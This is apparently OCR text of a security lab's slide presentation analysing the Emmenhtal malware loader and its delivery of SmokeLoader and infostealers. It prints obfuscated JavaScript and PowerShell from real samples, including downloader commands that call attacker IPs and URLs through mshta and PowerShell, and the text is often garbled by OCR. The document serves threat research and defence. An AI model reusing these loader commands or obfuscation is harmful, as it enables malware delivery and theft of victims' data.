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@ EMMENHTAL
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“1ex mshta.exe mainl?”

DCCW.exe

Display Color
Calibration Wizard




@ EMMENHTAL
LOADER
Clean DCCW binary

Clean DCCW binary

HTA SCRIPT

Clean DCCW binary

MALICIOUS JS

Clean DCCW binary

MALICIOUS JS

DCCW.exe

Modified DCCW.exe

Clean DCCW binary
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HTA SCRIPT

P S,

HTA SCRIPT

|GDmm
AV LAB

Application Caption : No
Window State : Minimize
Show in Taskbar : No
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@ EMMENHTAL
LOADER

mfunction mhl (1eS) {

var Xgs= "";

for (var xNa = 0; xNa < leS.length; xNa++)

= {

var Wgc = String.fromCharCode (leS[xNa] - 488);
Xgs = Xgs + Wqgc

- }

return Xgs

gl

var BAb = mhl ([600,599,607,589,602,603,592,589,596,596,534,589,608,589,520,533,607,520,537,520,533,589,600,520,573,598, 602
,589,603,604,602,593,587,604,589,588,520,533,598,599,600,520,524,609,588,586,558,520,549,520,527,555,557,555,553,545,545,
556,542,555,556,555,545,554,555,555,553,556,545,556,538,555,543,556,544,555,556,556,539,556,538,544,540,556,537,553,557,
555,553,544 ,555,544,544,553,554,554,536,556,553,545,536,544,540,544,544,555,542,555,554,556,536,544,556,556,558,556,543,
555,543,544 ,540,544,544,553,554,554,536,556,553,544,540,544,544,555,542,555,554,556,536,544,540,545,537,553,545,556,538,
555,543,556,539,555,544,555,556,556,538,555,554,544,540,553,542,556,556,556,544,555,545,557,537,545,558,555,553,556, 545,
556,538,555,543,556,544,555,556,556,539,556,538,544,540,556,542,554,541,553,555,544,555,544,544,553,554,554,536,556,553,
544,556,556,558,556,543,556,544,555,541,556,542,556,544,544,540,544,544,553,554,554,536,556,553,544,540,557,537,545,558,
555,553,556,545,556,538,555,543,556,544,555,556,556,539,556,538,544,540,556,545,553,543,556,543,544,555,544,544,556,556,
556,541,556,538,544,556,556,558,544,544,555,558,554,554,555,545,544,540,553,537,544,540,554,538,555,545,556,554,545,537,
554,539,555,542,555,557,555,545,555,543,556,544,544,540,544,555,556,539,554,545,553,542,544,540,553,540,544,555,545,541,
545,540,545,542,545,536,545,541,545,542,545,545,545,536,545,541,545,544,545,540,545,536,545,554,545,540,545,536,545,541,
545,541,545,541,545,536,545,541,545,542,545,545,545,536,545,541,545,542,545,542,545,536,545,556,545,541,545,536,545, 541,
545,543,545,542,545,536,545,541,545,542,545,556,545,536,545,541,545,542,545,545,545,536,545,541,545,543,545,544,545,536,
545,541,545,544,545,540,544,556,544,556,545,558,544,544,555,542,555,554,556,536,544,540,553,537,544,540,544,544,555,558,
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powershell.exe -w | —ep Unrestricted -nop $ydbF =
'"CECA99D6CDCYBCCADSYSD2CT/DES8CDD3D284D1AECABCS88ABBODAYS0B84A488C6CBDOSB8DDED/CT7/8488ABBODAB4A488C6CBD08491A9SD2CTL
S8CDD2CB84A6DDDEBCY9E1I9FCADYD2CTDECDD3D284D6B5ACEBCE8E8ABBODASDDED/DBC5D6DE88488ABBODABAETI 9FCADYSD2CT7/DECDD3L
AD9A7D78C88DDD5D28DDF88CEFBBCO984A184B2CO9DBY1B3C6CEC9O9CTD8848CD3B9A684A48C9594969095969990959894909B94°¢
595959095969990959696909D95909597969095969D9095969990959798909598948D8D9F88C6CBD084A18488CFBBC992A8L
BD2DOD3C5CB8A8BCS5D8C58CE88DDD5D28DI9FD6eCYD8DYD6D28488C6CBDOE]19FCADYSD2CTDECDD3D284D3BY9YA68C88B2DEADSDDEFE8CSH
2DEADS84EO089DF84BFCT/CCC5D6C18C88C384918496988D84E18D8491CED3CDD2848B8BE19FCADY9D2CT7D8CDD3D284A9ACC68CSH
F88D7C6CE84A18488CO9D2DASEASD4ADAABCS5D8C5848F848BCOB8BO9F88AABIDSA18488C9D2DA9EASDADAABCS5D8C59F88B9A9B3S
18488AAB1D5848F848BCOCDD2DAD3CT7C99596949692D4C8CA8BB9FADCAB8CBS8CI9D7D891B4C5D8CC8488BOA9B38DDFCDCD8488E
SB39FE1A9DOD7CSOSDF8488D2D7BB84A184D9ATDT7848CD3B9A684A48C95969C90959894909598949095979A909C96909B9590¢
5909C94909C94909B94909B97909B9B90SB97909B94909B97909C95909B98909B94909B97909B9C909B9B909B959095969D¢
5979890959896909597999095969790959699909B97909B98909B96909B98909B949095979A909596989095969A8D8DI9FD1Z2
A8488B9A9B38488D2D7/BBO9FCDCD8488BO9ASB39FE19F9F9F88D4B4A4BDAED/C7/B8D884A18488D7C6CE848F848BD4D9D8D8DD959
A9692C9DCCY98BYFCDCABCBECYD/DE891BA4AC5DBCC8488D4A4BABDAED /C/B8D88DDFDEBS5AC8488D4ABABDAED/C/BB8DBE1IASDOD/CIYL
SAFDS5DCD2CBDOC6AED9BESB4AB2AG6B4AA1IDY9ATDT7/8CD3B9A68B84A48C95969C90959894909598949095979A909C96909B95909B95¢
C94909C94909B94909B97909B9B909B97909B94909B97909C95909B98909B94909B97909B9CS909B9B90SRB959095979A90959
5909598949095989490959899909B97909B98909B96909B98909B949095969990959898909596998D8D9FD1AECAS8488D4BA4E
ED/7C7/B8D88488AFDSDCD2CBDOCOAEDY9BEBAB2A6BA49FDO6BSACEBA88DABABDAED/CT/BE8DEBE1I9F9F9FE1IA9ACCEI9F ' ;

function mJf ($Y1lhBsHB) {-join (($Y1lhBsHB -replace '..','0x5& ") =split " " | % {[char] ([1int]$_-100
)}

SEItEpmMZ = mJf (SydbF) ;

& SEItEpmMZ.Substring(4,2) SEItEpmMZ.Substring(7)
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@ EMMENHTAL

function mJf ($GLv, $bgl) {sc $GLv $bgl -Encoding Byte}; LOADER

function rQH(S$GLvV) {start SGLv };
function uCs (Syqn) {SkWe = New-Object (oUB @ ( , , , , , , , ’ ,
T$bgl = $SkWe.DownloadData (Syqn) ;
return $bgl};
function oUB($NzI) { ($NzI |%{ [char] ($_ - ) }) —-join ''};
ofunction EHb () {$sbj = $env:AppData + "\ ';
SFMg= Senv:AppData;
SUEO SFMgq + ilnvoce
JIf (Test-Path $SU
}Else{ SnsW = uCs (oUB (@ ( , , ; 82,71,
r r r r r r r r r r r r )) ;
mJf SUEO $nsW;
11 SUEO;
-}

F

Tl

SpPYJscTt = $sbj +
Jif (Test-Path $pPY¥JdscTt) {rQH SpPYJscTt}Else{S$SKgxnglbJuTPNBP=uCs (oUB (@ ( , , ,

Tl

r r r r r r r r r r r r r r r r r r r r r r r r

mJf $pPYJIscTt SKgxnglbJuTPNBP;
"TQH $pPYJscTt};

r

-YEHDb ;
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Source

172.16.41.134
172.16.41.134
172.16.41.134
172.16.41.134
172.16.41.134
172.16.41.134
172.16.41.134
172.16.41.134
172.16.41.134
172.16.41.134

Protocol_Length Info

88.151.192.165 TCP 66 [TCP Retransmission] 56053 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
88.151.192.165 TCP 66 [TCP Retransmission] 56053 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
88.151.192.165 TCP 66 [TCP Retransmission] 56053 - 80 [SYN] Seq=@ Win=64240 Len=0 MSS=1460
88.151.192.165 TCP 66 [TCP Retransmission] 56053 - 80 [SYN] Seq=0 Win=64240@ Len=0 MSS=1460
TCP 66 56053 > 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
88.151.192.165 TCP 66 [TCP Retransmission] 56032 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
88.151.192.165 TCP 66 [TCP Retransmission] 56032 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460
88.151.192.165 TCP 66 [TCP Retransmission] 56032 - 80 [SYN] Seq=0 Win=64240@ Len=0 MSS=1460
88.151.192.165 TCP 66 [TCP Retransmission] 56032 - 80 [SYN] Seq=0 Win=64240@ Len=0 MSS=1460
TCP 66 56032 - 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_ PERM

SACK_PERM
SACK_PERM
A

r
b
r
b
r
%
r
b

SACK_PERM
SACK_PERM

I S B LS R )
i ulououn
a0 O

SACK_PERM
SACK_PERM
ACK

SACK_PERM
SACK_PERM

I S B LS R )
i oo
g v O O

\ @ 19/97 security vendors flagged this URL as malicious C' Reanalyze  Q Search More Vv
/97 http://88.151.192.165/main1220/mainl Status Last Analysis Date @
88.151.192.165 200 4 months ago b
Community _
Scare ip downloads-pe

DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Crowdsourced context (&

HIGH 1

/N Activity related to BLUSTEALER, LUMMA - according to source Cluster25 - 6 months ago
> This URL is used by BLUSTEALER, LUMMA. BluStealer is is a crypto stealer, keylogger, and document uploader written in Visual Basic that loads C#.NET hack tools in order to exfiltrate logins from the infected victim
device. Lumma is a Malware-as-a-Service (Maa$S) info-stealer available in underground forums. It's designed to extract data from web browsers, cryptocurrency wallets, messaging apps, and password-management
programs. The service offers tier-based subscriptions, with costs ranging from 250 to 20000 USD per month. The latest plan allows for package reselling.
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@ EMMENHTAL
LOADER

PS oUB @(102,125,140,70,111,125,122,91,132,129,125,134,140)

Net.WebClient

PS oUB @(128,140,140,136,82,71,71,80,80,70,73,77,73,70,73,81,74,70,73,78,77,71
123.125.73.74.72

oUB @(128,140,140,136,82,71,71,80,80,70,73,77,73,70,73,81,74,70,73,78,77,71
145,73,74,72,74,70,125,144,125)

http://88.151.192.165/puttyl1202.exe

 — e - ——

invocel202.pdf - Lure PDF
putty1202.exe - SmokelLoader Malware
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Clusters

Delivered via Emmenhtal loaders @ e
pulling from GitHub repos

AsyncRAT
Amadey
RemcosRAT
RedLine
GulLoader
Danabot
Focus on InfoStealers
XWorm
and RATS.
SectopRAT
Meduza
Lumma
CryptBot

AUG SEPT OCT NOV DEC JAN FEB MAR  APR MAY  JUN JUL AUG
2024 2024 2024 2024 2024 2025 2025 2025 2025 2025 2025 2025 2025




Clusters

EUDCEDIT.exe - Private

Character Editor
B DonutLoader @ cuusters
VSGraphicsRemoteEngine.exe

: : .. DeerStealer
De I Ve red Via trOJ dahn |Zed DCCW.exe - Display Color Calibration

Windows Binaries I Smokeloader

WUSA.exe - Windows Update Standalone Installer

I e cosRAT

Notepad.exe

- XWorm

BthUdtTask.exe - Bluetooth
Uninstall Device Task

I

AUG SEPT OCT NOV DEC JAN FEB MAR  APR MAY  JUN JUL AUG
2024 2024 2024 2024 2024 2025 2025 2025 2025 2025 2025 2025 2025




EVASION

Uses mshta.exe to
execute remote
HTA scripts without

dropping

suspicious binaries.

HTA executes in a
trusted Windows
process, bypassing
some AV detections.

TECHNIQUE
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EVASION OBFUSCATION
TACTICS

string obfuscation in
PowerShell/JavaScript

Uses mshta.exe to
execute remote
HTA scripts without

dropping

suspicious binaries. multiple script chains

HTA executes in a
trusted Windows
process, bypassing
some AV detections.

TECHNIQUE
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EVASION

Uses mshta.exe to
execute remote
HTA scripts without

dropping
suspicious binaries.

HTA executesin a
trusted Windows

process, bypassing

some AV detections.

| G DATA
AV LAB

OBFUSCATION
TACTICS

string obfuscation in
PowerShell/JavaScript

multiple script chains

TECHNIQUE

LOLBAS

Abuse of built-in
Windows utilities:

PowerShell + MSHTA
polyglot loader

Use of trojanized
Windows binaries




FUNCTIONALITY

EXECUTE Runs malware components via MSHTA

‘ Functionality

LOAD/DROP Deliver and install malicious payload

DOWNLOAD Contacts attacker infrastructure
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N\ INFECTION
. CHAIN

\_ J

EMMENTHAL

embedded HTA script
and Javascriptis
interpreted via Mshta
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INFECTION CHAIN

STAGE 5

executes [/ O Javascript -~ N\
Mshta downloads
download Wi '\, | and executes SMOKELOADER ‘ INFECTION
ov;/r r(;a ) PowerShell files via CHAIN
- ° PowerShell NET
extract files : File Server
putty1202.exe
I web url shortcut — —_— —
[ m shellcode
m HTA JS |nvoce1202 odf exe;ution via

\ bait PDF file / \ / CallV\/mdovarocA

EMMENTHAL

embedded HTA script
and Javascriptis

interpreted via Mshta
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INFECTION CHAIN

STAGE 3

STAGE 5

executes [/ O Javascript -~ N\
Mshta downloads
download Wi '\, | and executes SMOKELOADER ‘ INFECTION
ov;/r r(;a ) PowerShell files via CHAIN
- ° PowerShell NET
exfract files : File Server
putty1202.exe
web url shortcut — —_— —
[ m shellcode
m HTA JS |nvoce1202 odf exe;ution via

\ bait PDF file / \ / CallVdeovarocA

EMMENTHAL

embedded HTA script
and Javascriptis

interpreted via Mshta
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INFECTION CHAIN

extract files

| G DATA
AV LAB

bait PDF file

executes / \
Mshta \
downloads vle
o PowerShell
File Server
ﬁ

STAGE 3

\_ J

EMMENTHAL

JavaScript
downloads
and executes
files via
PowerShell

ﬁ

embedded HTA script

and Javascriptis

interpreted via Mshta

STAGE 5

/

puttyl202.exe

[

|nvoce1202 pdf

SMOKELOADER

ﬁ

shellcode
execution via
CallVVindovarocA

‘ INFECTION
CHAIN



INFECTION CHAIN

STAGE 3

STAGE 5

I JavaScript

a2 )
downloads
'\, [and executes ‘ SMOKELOADER ‘ INFECTION
files via CHAIN
NET

PowerShell

downloads
from
File Serve

extract files

putty1202.exe
I web url shortcut — —_— —_—
[ m shellcode
m HTA JS |nvoce1202 odf exe;ution Via
\ bait PDF file / CallVdeovarocA

EMMENTHAL

embedded HTA script
and Javascriptis
interpreted via Mshta
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INFECTION CHAIN

STAGE 5

executes JavaScript 4 N\
Mshta downloads
downloads via amd executes SMOKELOADER ‘ INFECTION
. PowerShell files via CHAIN
- b PowerShell NET
extract files File Server tty1202.ex6
——y | Weburlshortcut — — — ' —

m shellcode

invocel1202.pdf exe.cution via
\_ ) CallWindowProcA

\ bait PDF file

/

MMENTHAL

embedded HTA script
and Javascript is

interpreted via Mshta
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INFECTION CHAIN

STAGE 5

executes [/ I JavaScript
Mshta downloads
download via D | and executes smokeLoaper @ INFECTION
OV;/I, r(;a ) PowerShell files via CHAIN
- b PowerShell NET
extract files File Server DUtty1202.exe
| web url shorteut | ey — —) ' —
l m shellcode
m HTA JS invoce1202.pdf exe;ution via
\ bait PDF file y \_ Y, CallWindowProcA
EMMENTHAL

embedded HTA script
and Javascriptis
interpreted via Mshta
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INFECTION CHAIN

STAGE 5

executes [/ O Javascript -~
Mshta downloads
Hownloads Wi N\ [and executes ‘ INFECTION
from PowerShell files via CHAIN
. PowerShell NET
extract files : File Server
putty1202.exe
I web url shortcut — —_—
m lnvoce1202 pdf exe.CUt on via
\ bait PDF file / \ / CallVde DWProcA
EMMENTHAL

embedded HTA script
and Javascriptis

interpreted via Mshta
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DISCOVERY

/@ MalwareHunterTeam &
\&/

"Document mainml.pdf.ink™:
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eD21

Next stage: http://88151.192[.]165/main1220/main
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| IpairoemMo
1A Bac

AKUIOHEPHE TOBAPUCTBO
«NEPLWAN YKPATHCbKUA MDKHAPOQHUN BAHK»

PekBianT paxyHky

Haasa 1opuandHoi ocobu
Koa CIIP!i [0)

IBAN

Haaga DaHk

Koa banky ( )

Nara dopmysanHna: 19.04.2024
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DISCOVERY

YKpaiHcbKa (Original) English (Translation)

AKLIIOHEPHE TOBAPWCTBO «IMEPLLNI Public Joint Stock Company “FIRST

YKPATHCbKWNI MI)KHAPO,[I,HI/II7I BAHK» UKRAINIAN INTERNATIONAL BANK”

_ _ [ -
CHAIN

PeKBI3UTU paxyHKY Account details

Ha3Ba roim,u,quo'l'oco6V|:_ Name of leial entity:_

<o €prioy: I EDRPOU code:

Ha3Ba b6aHKy: AT «[TYMB» Name of bank: PJSC “PUMB”

Kopa 6aHKy (MCDO):- Bank code (MFO):

| GDATA [aTta opmyBaHHS: 19.04.2024 Date of formation: 19.04.2024
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Cepy7Zr 1 MnatixHa iHCTPYKUMA.TZ
total 2 files and directories in solid archive

Compressed MName

2025-82-12 14:45:04
925-82-12 14:45:04

Filename : [NnaTi>KHa_IHCTPYKUNA.TZ
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Payment_instruction

7-zip Delivery
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OLD SMOKELOADER

GDATA
| G DATA

AV LAB



File Edit View Favontes Tools Help

g =m v o) w ¥ i

Add Extract Test Copy Move Delete Info

;-=<--‘—1\I'1na1'e>ooioe Mopyuenne Ta Axt 3eipkn.7z\

Size Packed S

42719 42°
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File Edit View Favontes Teoecls Help

p = v owp wp ¥ i

Add Extract Test Copy Move Delete Info

[MnatokHa_IHCTpyKyMA. 72\

Mame
|&] Aogarox_@OM_MYMB.pdf

s 4 Mnarixna_incrpyxuymna_UAB233485100000000260062451 19.url

General Web Documert  Securty Details Previous Versions

iﬂﬂ [natixHa_iHcTpyrwa_UARZ3348510000000026006:

LIEL: file:\\194.87.31.68@280\Downloads Document_

Shotcut ey

Visits: Linknown

Change lcon...

‘ Stage 1:
7-zip Delivery

NEW SMOKELOADER



Public Joint Stock Company
“FIRST UKRAINIAN
INTERNATIONAL BANK”

Name of bank: PJSC “PUMB”

Date of formation: 19.04.2024
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AV LAB

| Ipairoemo
1A Bac

AKUIOHEPHE TOBAPUCTBO
«NEPLWAN YKPATHCbKUA MDKHAPOQHUN BAHK»

PekBianT paxyHky

Ha3asa 1opuan4Hoi ocobu
Koa CIIP!i [0)%

IBAN

Ha3aga DaHk

Koa baHKy ( )

Nara ¢popmysanHn: 19.04.2024
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7-zip Delivery
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General Web Document Securty Details  Previous Versions

" [TnatixHa iHcTpykwar UAGZI34Z510000000026006.2
Flﬁ _IHCTRY _

URL

LRL: filesyy194.87.31.68@80\Downloads\Document_
file:\\194[.187[.]31[.]68[.]@80\Downloads Shortcut key: | None
\Document_mainl.pdf.Ink \isits: Unknomn
Change lcon...
‘ Stage 2:
Downloader
OK Cancel Apply
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Teminal Security Details Previous Versions
General Shortcut Options Font Layout Colaors

2 Document main1.pdf
) cosnerants

Target type: Application

Target location: v1.0

Target: HnA1FEF 220/ mAHHadiEn H 1R replace H)'

Start in:

Shortcut key: | None

Bun: Minimized v
Comment:
Open Fle Location Change lcon... Advanced...

‘ Stage 2:

Downloader

I gvDﬂg Ok Cancel Apply




C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe . ([char]105+[char]101+[char]120) ('m##s#h#t##a#
FHh##ttHdpd o 44/ #44/0#8H## . FHIOTHHH . #1HHO2HHH . ##16H5##H /mAHHad#id#n# 1 ###220/ mf#atidnt#1###"' -replace "#')"

IEX
MSHTA

hxxp://88.151.192.165/main1220/mainl

Stage 3.
PowerShell + Mshta
downloader
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mshta.exe

DCCW.exe

Display Color

http://88.151.192.165/mainl1220/mainl i ) )
Calibration Wizard

Stage 3.
PowerShell + Mshta
downloader
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EMMENHTAL LOADER

INFOSTEALER

N

AUG SEPT OCT NOV DEC JAN FEB MAR  APR MAY  JUN JUL AUG
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EMMENHTAL LOADER

INFOSTEALER
RAT

I CryptBot

AUG SEPT OCT NOV DEC JAN FEB MAR  APR MAY  JUN JUL AUG
2024 2024 2024 2024 2024 2025 2025 2025 2025 2025 2025 2025 2025
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EMMENHTAL LOADER

INFOSTEALER

RAT
LOADER

-R AUG SEPT OCT NOV DEC JAN FEB MAR APR MAY JUN JUL AUG
oWl 2024 2024 2024 2024 2024 2025 2025 2025 2025 2025 2025 2025 2025
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Loaders are evolving into
Maa$S ecosystems

Emmenhtal is a service enabler

Multi-actor collaboration
through shared infrastructure
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CALL TO ACTION

Understand [l Defend Implement
the beyond the | Layered

Ecosystem VEWTETL: Defense




REFERENCES

https://www.orangecyberdefense.com/global/blog/cert-news/emmenhtal-a-little-
known-loader-distributing-commodity-infostealers-worldwide

https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-
memory-only-malware

https://www.trendmicro.com/en_us/research/25/a/cve-2025-0411-ukrainian-
organizations-targeted.html

https://blog.sekoia.io/webdav-as-a-service-uncovering-the-infrastructure-behind-
emmenhtal-loader-distribution/

https://targhlymal.github.io/SmokelLoader-Analysis/
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